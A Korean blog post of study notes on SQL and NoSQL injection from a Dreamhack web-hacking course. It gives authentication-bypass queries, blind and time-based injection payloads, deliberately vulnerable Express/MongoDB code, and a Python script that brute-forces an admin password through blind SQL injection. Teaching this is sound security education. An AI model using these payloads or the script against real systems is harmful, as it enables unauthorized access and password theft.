본문 바로가기
빡공팟(P4C)

웹해킹트랙 4주차 과제 - 드림핵 웹해킹1 #SQL Injection

by qoth_0 2022. 10. 19.
728x90
반응형

STAGE 6 SQL Injection

 

-Background: Relational DBMS

 

데이터베이스 : 데이터가 저장되는 공간

 

DataBase Management System (DBMS) :데이터베이스를 관리하는 애플리케이션

웹 서비스는 데이터베이스에 정보를 저장하고, 이를 관리하기 위해 DataBase Management System (DBMS)을 사용

DBMS는 데이터베이스에 새로운 정보를 기록하거나 기록된 내용을 수정, 삭제하는 역할

다수의 사람이 동시에 데이터베이스에 접근할 수 있고, 웹 서비스의 검색 기능과 같이 복잡한 요구사항을 만족하는 데이터를 조회할 수 있다는 특징이 있다.

 

각 종류별 대표적인 DBMS

 

두 DBMS의 가장 큰 차이로 관계형은 행과 열의 집합인 테이블 형식으로 데이터를 저장하고, 비관계형은 테이블 형식이 아닌 키-값 (Key-Value) 형태로 값을 저장

 

Relational DataBase Management System (RDBMS, 관계형 RDBMS):테이블 형태로 저장되는 관계형 DBMS

행 (Row)과 열 (Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고, 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공

RDBMS에서 관계 연산자는 Structured Query Language (SQL) 라는 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작

 

Structured Query Language (SQL) : RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어

구조화된 형태를 가지는 언어로 웹 어플리케이션이 DBMS와 상호작용할 때 사용된다. 

대표적으로  DDL, DML, DCL로 구분된다.

 

DDL(Data Definition Language) : 데이터를 정의하기 위한 언어

데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행

RDBMS에서 사용하는 기본적인 구조 : 데이터베이스 → 테이블 → 데이터

데이터를 다루기 위해 DDL의 CREATE 명령을 사용해 새로운 데이터베이스 또는 테이블을 생성

 

데이터베이스(Dreamhack) 생성

CREATE DATABASE Dreamhack;

테이블(Board) 생성

USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(
	idx INT AUTO_INCREMENT,
	boardTitle VARCHAR(100) NOT NULL,
	boardContent VARCHAR(2000) NOT NULL,
	PRIMARY KEY(idx)
);

 

DML(Data Manipulation Language) : 데이터를 조작하기 위한 언어

실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행

생성된 테이블에 데이터를 추가하기 위해 DML을 사용

 

테이블 데이터 생성(INSERT)

INSERT INTO 
  Board(boardTitle, boardContent, createdDate) 
Values(
  'Hello', 
  'World !',
  Now()
);

테이블 데이터 조회(SELECT)

SELECT 
  boardTitle, boardContent
FROM
  Board
Where
  idx=1;

테이블 데이터 변경(UPDATE)

UPDATE Board SET boardContent='DreamHack!' 
  Where idx=1;

 

-ServerSide: SQL Injection

 

인젝션 (Injection) :이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

이용자가 악의적인 입력값을 주입해 의도하지 않은 행위를 일으키는 것을 말한다.

 

SQL Injection : DBMS에서 사용하는 질의 구문인 SQL을 삽입하는 공격

SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점

DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득한다.

조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.

 

로그인 기능을 위한 쿼리

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'

이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있다. 

 

SQL Injection으로 조작한 쿼리

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'

user_pw 조건문이 사라진 것을 확인할 수 있다.

조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다.

 

SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 한다.

이용자의 입력값을 문자열로 나타내기 위해 ' 문자를 사용하거나, 주석( --, #, /**/ )을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.

 

Blind SQL Injection : 데이터베이스 조회 후 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

 

Blind SQL Injection 공격 쿼리

# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

공격 쿼리문의 조건을 살펴보면, upw의 첫 번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다.

질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있다. 만약 로그인이 실패할 경우 첫 번째 문자가 'r'이 아님을 의미

이처럼 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있다.

 

Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간이 소요된다.

이러한 문제를 해결하기 위해서 공격을 자동화하는 스크립트를 작성한다.

 

파이썬의 requests 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있다.

 

 requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송

 

requests 모듈을 통해 HTTP의 POST 메소드 통신을 하는 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송

 

 

 Blind SQL Injection 공격 스크립트

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

Blind SQL Injection 공격하기 위해 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 한다.

비밀번호의 경우 알파벳과 숫자 그리고 특수 문자로 이뤄지는데, 아스키 범위로 나타내면 32부터 126까지의 모든 문자이다.

비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성

반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 “Login success” 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장

반복문을 마치면 “admin” 계정의 비밀번호를 알아낼 수 있다. 

 

 

-Background: Non-Relational DBMS

 

Non-Relatioanl DBMS (NRDBMS, NoSQL) 비관계형 데이터베이스 : SQL를 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간

 

RDBMS는 SQL이라는 정해진 문법을 통해 데이터를 저장하기 때문에 한 가지의 언어로 다양한 DBMS을 사용할 수 있지만 NoSQL은 Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야한다.

 

MongoDB : JSON 형태인 도큐먼트(Document)를 저장

스키마를 따로 정의하지 않아 각 콜렉션(Collection)에 대한 정의가 필요하지 않다.

JSON 형식으로 쿼리를 작성할 수 있다.

_id 필드가 Primary Key 역할을 한다.

 

*콜렉션은 데이터베이스의 하위에 속하는 개념으로, RDBMS의 테이블과 비슷

 

MongoDB 데이터 삽입(insert), 조회(find)

$ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }

 

MongoDB 연산자

Comparison
Logical
Element
Evaluation

 

SQL과 MongoDB의 문법 비교

SELECT
INSERT
DELETE
UPDATE

 

Redis : 키-값(Key-Value)의 쌍을 가진 데이터를 저장

다른 데이터베이스와 다르게 메모리 기반의 DBMS이다.

메모리를 사용해 데이터를 저장하고, 접근하기 때문에 읽고 쓰는 작업이 다른 DBMS에 보다 훨씬 빠르다.

다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용

데이터 조회 및 조작 명령어
관리 명령어

 

 

CouchDB: JSON 형태인 도큐먼트(Document)를 저장

웹 기반의 DBMS로, REST API 형식으로 요청을 처리

메소드 기능
SERVER 구성 요소

 

Database 구성 요소

 

-ServerSide: NoSQL Injection

 

NoSQL Injection : 요청 구문에 이용자의 입력 값을 삽입해 이용자가 원하는 요청을 실행할 수 있는 취약점

이용자의 입력값에 대한 타입 검증이 불충분할 때 발생

 

NodeJS의 Express 프레임워크로 개발된 예제 코드

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

이용자의 입력값과 타입을 출력하는데 req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있다.

 

각각의 타입을 입력한 실행 결과

http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

일반적인 문자열 이외에 오브젝트 타입을 삽입할 수 있는 것을 확인

 

MongoDB NoSQL Injection 예시

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고, 출력하는 코드이다.

이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.

 

오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있다.

$ne 연산자는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환

공격자는 계정 정보를 모르더라도 해당 정보를 알아낼 수 있다.

 

연산자를 사용해 계정 정보를 알아낸 모습

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

$ne 연산자를 사용해 uid와 upw가 'a'가 아닌 데이터를 조회하는 공격  쿼리와 실행 결과

 

Blind NoSQL Injection : 데이터 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용될 수 있는 NoSQL Injection 공격 기법

참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있다.

 

MongDB Blind NoSQL Injection 사용 연산자

$regex : 정규식을 사용해 식과 일치하는 데이터를 조회

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시

 

$where

표현식 : 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

해당 연산자는 field에서 사용할 수 없는 것을 확인

 

substring : Javascript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

upw의 첫 글자를 비교해 데이터를 알아내는 쿼리의 예시

 

 

Sleep 함수를 통한 Time based Injection : 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리의 예시

 

Error based Injection : 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생

728x90
반응형